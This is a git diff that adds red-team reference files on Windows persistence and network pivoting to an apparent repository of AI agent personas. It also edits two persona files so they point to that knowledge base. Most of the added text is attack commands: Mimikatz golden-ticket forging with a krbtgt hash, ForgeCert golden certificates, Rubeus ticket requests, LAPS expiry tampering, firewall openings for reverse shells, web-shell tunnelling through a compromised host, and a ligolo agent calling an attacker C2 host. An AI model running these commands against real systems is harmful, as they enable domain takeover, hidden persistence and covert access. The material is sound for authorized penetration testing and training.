cert.pfx + +# Request a TGT using the certificate +.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123! +``` + +### Golden Certificate + +> Require elevated privileges in the Active Directory, or on the ADCS machine + +* Export CA as p12 file: `certsrv.msc` > `Right Click` > `Back up CA...` +* Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER + + ```ps1 + privilege::debug + crypto::capi + crypto::cng + crypto::certificates /systemstore:local_machine /store:my /export + ``` + +* Alternative 2: Using SharpDPAPI, then convert the certificate: `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx` +* [ForgeCert](https://github.com/GhostPack/ForgeCert) - Forge a certificate for any active domain user using the CA certificate + + ```ps1 + ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123 + ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123 + ``` + +* Finally you can request a TGT using the Certificate + + ```ps1 + Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123 + ``` + +### Golden Ticket + +> Forge a Golden ticket using Mimikatz + +```ps1 +kerberos::purge +kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt +kerberos::tgt +``` + +### LAPS Persistence + +To prevent a machine to update its LAPS password, it is possible to set the update date in the futur. + +```ps1 +Set-DomainObject -Identity -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"} +``` + +## References + +* [Beware of the Shadowbunny - Using virtual machines to persist and evade detections - wunderwuzzi - September 23, 2020](https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/) +* [Corrupting the Hive Mind: Persistence Through Forgotten Windows Internals - Michael Weber - January 26, 2026](https://www.praetorian.com/blog/corrupting-the-hive-mind-persistence-through-forgotten-windows-internals/) +* [Golden Certificate - NOVEMBER 15, 2021](https://pentestlab.blog/2021/11/15/golden-certificate/) +* [Hijack the TypeLib. New COM persistence technique - CICADA8 - October 22, 2024](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) +* [IIS Raid – Backdooring IIS Using Native Modules - February 19, 2020](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/) +* [Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - @phraaaaaaa - April 27, 2020](https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html) +* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/) +* [Persistence - Checklist - @netbiosX](https://github.com/netbiosX/Checklists/blob/master/Persistence.md) +* [Persistence – Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/) +* [Persistence – Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/) +* [Persistence – Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/) +* [Persistence via WMI Event Subscription - Elastic Security Solution](https://www.elastic.co/guide/en/security/current/persistence-via-wmi-event-subscription.html) +* [PrivEsc: Abusing the Service Control Manager for Stealthy & Persistent LPE - 0xv1n - February 27, 2023](https://0xv1n.github.io/posts/scmanager/) +* [Sc sdset - Microsoft - August 31, 2016](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742037(v=ws.11)) +* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins - September 8, 2019](http://www.youtube.com/watch?v=K7o9RSVyazo) +* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md) diff --git a/personas/_shared/internal-allthethings/redteam/pivoting/network-pivoting-techniques.md b/personas/_shared/internal-allthethings/redteam/pivoting/network-pivoting-techniques.md new file mode 100644 index 0000000..3566579 --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/pivoting/network-pivoting-techniques.md @@ -0,0 +1,193 @@ +# Network Pivoting Techniques + +## SOCKS Proxy + +### SOCKS Compatibility Table + +| SOCKS Version | TCP | UDP | IPv4 | IPv6 | Hostname | +| ------------- | :---: | :---: | :---: | :---: | :---: | +| SOCKS v4 | ✅ | ❌ | ✅ | ❌ | ❌ | +| SOCKS v4a | ✅ | ❌ | ✅ | ❌ | ✅ | +| SOCKS v5 | ✅ | ✅ | ✅ | ✅ | ✅ | + +### SOCKS Proxy Usage + +#### Proxychains + +* [rofl0r/proxychains-ng](https://github.com/rofl0r/proxychains-ng) - a preloader which hooks calls to sockets in dynamically linked programs and redirects it through one or more socks/http proxies. continuation of the unmaintained proxychains project. +* [haad/proxychains](https://github.com/haad/proxychains) - a tool that forces any TCP connection made by any given application to follow through proxy like TOR or any other SOCKS4, SOCKS5 or HTTP(S) proxy. Supported auth-types: "user/pass" for SOCKS4/5, "basic" for HTTP. + +Edit the **configuration file** `/etc/proxychains.conf` to add the SOCKS proxies. + +```bash +[ProxyList] +# socks4 localhost 8080 +socks5 localhost 8081 +``` + +Uncomment `proxy_dns` to also proxify DNS requests. + +```ps1 +proxychains nmap -sT 10.10.10.10 +proxychains curl http://10.10.10.10 +``` + +#### Proxifier + +Proxifier allows network applications that do not support working through proxy servers to operate through a SOCKS or HTTPS proxy and chains. + +* [proxifier](https://www.proxifier.com/) - The Most Advanced Proxy Client + +Open Proxifier, go to **Profile** -> **Proxy Servers** and **Add a new proxy entry**, which will point at the IP address and Port of your SOCKS proxy. + +Go to **Profile** -> **Proxification Rules**. This is where you can add rules that tell Proxifier when and where to proxy specific applications. Multiple applications can be added to the same rule. + +#### Graftcp + +* [hmgle/graftcp](https://github.com/hmgle/graftcp) - A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy. + +:warning: Same as proxychains, with another mechanism to "proxify" which allow Go applications. + +```ps1 +# Create a SOCKS5, using Chisel or another tool and forward it through SSH +(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS +(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse +(victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks + +# Run graftcp and specify the SOCKS5 +(attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080 +(attacker) $ graftcp ./nuclei -u http://10.10.10.10 +``` + +Simple configuration file for graftcp: [example-graftcp-local.conf](https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf) + +```py +## Listen address (default ":2233") +listen = :2233 +loglevel = 1 + +## SOCKS5 address (default "127.0.0.1:1080") +socks5 = 127.0.0.1:1080 +# socks5_username = SOCKS5USERNAME +# socks5_password = SOCKS5PASSWORD + +## Set the mode for select a proxy (default "auto") +select_proxy_mode = auto +``` + +## Port Forwarding + +### SSH (native) + +| Pivoting Technique | Command | +| ---------------------- | ------- | +| Local Port Forwarding | `ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]` | +| Remote Port Forwarding | `ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]` | +| Socks Proxy | `ssh -N -f -D listenport [user]@[host]` | + +Inside an already established SSH session, press `~C` to opens an interactive mode to add local (-L), remote (-R), or dynamic (-D) port forwards. `-D` currently cannot be added after connection. Only `-L` or `-R` work reliably. Dynamic forwarding inside an existing session is not supported by OpenSSH. + +```ps1 +~C +-L 1080:127.0.0.1:1080 +``` + +### Netsh (native) + +```powershell +netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport +netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110 +``` + +```powershell +# Forward the port 4545 for the reverse shell, and the 80 for the http server for example +netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545 +netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80 +``` + +```powershell +# Correctly open the port on the machine +netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80 +netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80 +netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545 +netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545 +``` + +1. listenaddress – is a local IP address waiting for a connection. +2. listenport – local listening TCP port (the connection is waited on it). +3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected. +4. connectport – is a TCP port to which the connection from listenport is forwarded to. + +### Custom Tools + +* [jpillora/chisel](https://github.com/jpillora/chisel) +* [ginuerzh/gost](https://github.com/ginuerzh/gost) + + ```ps1 + gost -L=tcp://:2222/192.168.1.1:22 [-F=..] + ``` + +* [PuTTY/plink](https://putty.org/index.html) + + ```powershell + plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP] + plink -l root -pw toor -R 445:127.0.0.1:445 + ``` + +## Network Capture + +### TCPDump + +* [the-tcpdump-group/tcpdump](https://github.com/the-tcpdump-group/tcpdump) + +```ps1 +# capture and save the output inside 0001.pcap +tcpdump -w 0001.pcap -i eth0 + +# capture and display packet in ASCII +tcpdump -A -i eth0 + +# capture every TCP packet on interface eth0 +tcpdump -i eth0 tcp + +# capture everything on port 22 +tcpdump -i eth0 port 22 +``` + +### Netsh + +* Start a capture use the netsh command. + + ```ps1 + netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384 + ``` + +* Stop the trace + + ```ps1 + netsh trace stop + ``` + +* Event tracing + + ```ps1 + netsh trace start capture=yes report=disabled persistent=yes tracefile=c:\trace.etl maxsize=16384 + etl2pcapng.exe c:\trace.etl c:\trace.pcapng + ``` + +* Use filters + + ```ps1 + netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=16384 + ``` + +## References + +* [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/) +* [Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) +* [GO Simple Tunnel - Documentation](https://gost.run/en/) +* [Ligolo-ng - Documentation](https://docs.ligolo.ng/) +* [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/) +* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/) +* [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin - November 10, 2015](https://web.archive.org/web/20151205120607/https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences) +* [Windows: Capture a network trace with builtin tools (netsh) - Michael Albert - February 22, 2021](https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/) diff --git a/personas/_shared/internal-allthethings/redteam/pivoting/network-pivoting-tools.md b/personas/_shared/internal-allthethings/redteam/pivoting/network-pivoting-tools.md new file mode 100644 index 0000000..f0b6eeb --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/pivoting/network-pivoting-tools.md @@ -0,0 +1,145 @@ +# Network Pivoting Tools + +## Tools Comparison + +Comparison table showing platform support (Windows, Linux, macOS), available polling methods (HTTPS, WebSockets), and supported SOCKS versions (4/5). + +| Name | SOCKS4 | SOCKS5 | SOCKET | HTTPS | Web Socket | Windows | Linux | MacOS | Tun Interface | +| ------------ | ------ | ------ | ------ | ----- | ---------- | ------- | ----- | ----- | ------------ | +| SSH | ✅ | ✅ | ✅ | ❌ | ❌ | ✅ | ✅ | ✅ | ❌ | +| reGeorg | ✅ | ❌ | ✅ | ❌ | ❌ | ✅ | ✅ | ✅ | ❌ | +| pivotnacci | ✅ | ✅ | ❌ | ✅ | ❌ | ✅ | ✅ | ✅ | ❌ | +| wstunnel | ✅ | ✅ | ❌ | ✅ | ✅ | ✅ | ✅ | ✅ | ❌ | +| chisel | ❌ | ✅ | ❌ | ✅ | ✅ | ✅ | ✅ | ✅ | ❌ | +| revsocks | ❌ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ❌ | +| ligolo-ng | ❌ | ❌ | ✅ | ❌ | ✅ | ✅ | ✅ | ✅ | ✅ | +| gost | ✅ | ✅ | ✅ | ❌ | ❌ | ✅ | ✅ | ✅ | ✅ | +| rpivot | ✅ | ❌ | ✅ | ❌ | ❌ | ✅ | ✅ | ✅ | ❌ | + +## Tools + +### wstunnel + +* [erebe/wstunnel](https://github.com/erebe/wstunnel) - Tunnel all your traffic over Websocket or HTTP2 - Bypass firewalls/DPI - Static binary available + +```ps1 +wstunnel server wss://[::]:8080 +wstunnel client -L socks5://127.0.0.1:8888 --connection-min-idle 5 wss://myRemoteHost:8080 +curl -x socks5h://127.0.0.1:8888 http://google.com/ +``` + +### chisel + +* [jpillora/chisel](https://github.com/jpillora/chisel) - A fast TCP/UDP tunnel over HTTP + +```powershell +chisel server -p 8008 --reverse +chisel.exe client YOUR_IP:8008 R:socks +``` + +### revsocks + +* [kost/revsocks](https://github.com/kost/revsocks) - Reverse SOCKS5 implementation in Go + +Reverse SOCKS using websocket + +```ps1 +revsocks -listen :8443 -socks 127.0.0.1:1080 -pass SuperSecretPassword -tls -ws +revsocks -connect https://clientIP:8443 -pass SuperSecretPassword -ws +``` + +Reverse SOCKS using TLS encryption + +```ps1 +revsocks -listen :8443 -socks 127.0.0.1:1080 -pass SuperSecretPassword +revsocks -connect clientIP:8443 -pass SuperSecretPassword +``` + +Reverse SOCKS using TCP + +```ps1 +revsocks -listen :8443 -socks 127.0.0.1:1080 -pass SuperSecretPassword -tls +revsocks -connect clientIP:8443 -pass SuperSecretPassword -tls +``` + +* Set a strong password on the connection: `-pass Password1234` +* Use an authenticated proxy: `-proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass` +* Define a User-Agent to reduce detections: `-useragent "Mozilla 5.0/IE Windows 10"` + +### ssh + +```bash +ssh -N -f -D [listenport] [user]@[host] +``` + +### reGeorg + +* [sensepost/reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. + +```python +python reGeorgSocksProxy.py --listen-port 8080 --url http://compromised.host/shell.jsp +``` + +* **Step 1**. Upload tunnel.(`aspx|ashx|jsp|php`) to a webserver. +* **Step 2**. Configure you tools to use a socks proxy, use the ip address and port you specified when you started the reGeorgSocksProxy.py + +### pivotnacci + +* [blackarrowsec/pivotnacci](https://github.com/blackarrowsec/pivotnacci), a tool to make socks connections through HTTP agents. + +```powershell +pip3 install pivotnacci +usage: pivotnacci [-h] [-s addr] [-p port] [--verbose] [--ack-message message] + [--password password] [--user-agent user_agent] + [--header header] [--proxy [protocol://]host[:port]] + [--type type] [--polling-interval milliseconds] + [--request-tries number] [--retry-interval milliseconds] + url + +pivotnacci https://domain.com/agent.php --password "s3cr3t" --polling-interval 2000 +``` + +### ligolo + +Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor. + +* [nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng) - An advanced, yet simple, tunneling/pivoting tool that uses a TUN interface. +* [sysdream/ligolo](https://github.com/sysdream/ligolo) - Reverse Tunneling made easy for pentesters. + +```ps1 +./proxy -h # Help options +./proxy -autocert # Automatically request LetsEncrypt certificates +./proxy -selfcert # Use self-signed certificates +./agent -connect attacker_c2_server.com:11601 + +ligolo-ng » session +? Specify a session : 1 + +interface_create --name ligolo +route_add --name ligolo --route 10.24.0.0/24 +tunnel_start --tun ligolo +``` + +### gost + +* [ginuerzh/gost](https://github.com/ginuerzh/gost) - GO Simple Tunnel - a simple tunnel written in golang + +```ps1 +gost -L=socks5://:1080 # server +gost -L=:8080 -F=socks5://server_ip:1080?notls=true # client +``` + +### sshuttle + +* [sshuttle/sshuttle](https://github.com/sshuttle/sshuttle) - Transparent proxy server that works as a poor man's VPN. Forwards over ssh. + +```ps1 +sshuttle -vvr user@10.10.10.10 10.1.1.0/24 +sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa" +``` + +## References + +* [GO Simple Tunnel - Documentation](https://gost.run/en/) +* [Ligolo-ng - Documentation](https://docs.ligolo.ng/) +* [sshutle - Documentation](https://sshuttle.readthedocs.io/en/stable/usage.html) diff --git a/personas/neo/redteam.md b/personas/neo/redteam.md index 22c016f..6815a45 100644 --- a/personas/neo/redteam.md +++ b/personas/neo/redteam.md @@ -159,6 +159,15 @@ PHASE 6: CLEANUP & REPORTING - Serpico — report generation framework - Cherry Tree / Obsidian — engagement notes and evidence organization +### Knowledge Bases (MITRE ATT&CK-mapped TTPs) +- **InternalAllTheThings** (swisskyrepo) — full knowledge base cloned at `personas/_shared/internal-allthethings/` (168 markdown files, 1.7MB). Covers AD (ADCS ESC1-15, Kerberos delegation, NTLM relay, coerce vectors, shadow credentials, LAPS/gMSA/dMSA reading, DCSync, Golden/Silver tickets, DCShadow), cloud (AWS/Azure/IBM), command-control (Cobalt Strike, Metasploit, Mythic), containers (Docker/K8s), databases (MSSQL), devops (CI/CD attacks — GitHub Actions, GitLab, Azure DevOps), red team (access, escalation, evasion — AMSI/EDR/DPAPI, persistence, pivoting). Online: https://swisskyrepo.github.io/InternalAllTheThings/ +- **six2dez/pentest-book** — https://github.com/six2dez/pentest-book (internal-pentest.md is the quick-reference) +- **HackTricks** — https://book.hacktricks.xyz/windows-hardening/active-directory-methodology +- **ADSecurity** — https://adsecurity.org/ (Sean Metcalf's deep AD research) +- **MITRE ATT&CK Enterprise** — https://attack.mitre.org/matrices/enterprise/ (every finding maps to a TTP) +- **Atomic Red Team** — https://github.com/redcanaryco/atomic-red-team (purple team validation tests) +- **MITRE TTP mapping reference** — `~/.claude/skills/pentest-active-directory/references/mitre-ttp-mapping.md` + ## Behavior Rules - Never operate without signed authorization. No exceptions. No verbal agreements. diff --git a/personas/vortex/cloud-ad.md b/personas/vortex/cloud-ad.md index 7e89c4b..3622192 100644 --- a/personas/vortex/cloud-ad.md +++ b/personas/vortex/cloud-ad.md @@ -173,6 +173,23 @@ PHASE 5: DEFENSIVE ASSESSMENT & REPORTING - ADACLScanner — AD ACL analysis - Maester — Azure AD security configuration assessment +### TTP Knowledge Bases (MITRE-mapped) +- **InternalAllTheThings** — cloned at `personas/_shared/internal-allthethings/` — canonical reference for: + - ADCS ESC1-15 with exploitation PoCs (ad-adcs-esc01.md ... ad-adcs-esc15.md) + - Kerberos delegation (unconstrained, constrained/S4U, RBCD, Bronze Bit) + - NTLM relay + coerce vectors (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, Coercer) + - Shadow Credentials (msDS-KeyCredentialLink write) + - LAPS/gMSA/dMSA reading (incl. BadSuccessor Server 2025) + - Domain/Forest trust abuse (trust-ticket, trust-sid-hijacking, trust-pam) + - NTDS.dit extraction (ntdsutil, vss, DRSUAPI) + - DPAPI + Windows defenses bypass + - Online: https://swisskyrepo.github.io/InternalAllTheThings/ +- **MITRE ATT&CK TTPs used in AD engagements**: T1558.003 (Kerberoasting), T1558.004 (AS-REP), T1003.006 (DCSync), T1003.003 (NTDS), T1187 (Forced Auth), T1557.001 (LLMNR poison), T1550.002 (PtH), T1550.003 (PtT), T1207 (DCShadow), T1484.001 (GPO Mod), T1484.002 (Federation), T1134.001 (Token Impersonation) +- **Full TTP map**: `~/.claude/skills/pentest-active-directory/references/mitre-ttp-mapping.md` +- **ADSecurity / Trimarc** — https://adsecurity.org/, https://www.trimarcsecurity.com/blog +- **Certified Pre-Owned (ADCS)** — https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf +- **MicroBurst (Azure)** — https://github.com/NetSPI/MicroBurst + ## Behavior Rules - Always map the environment before attacking. BloodHound first, exploitation second.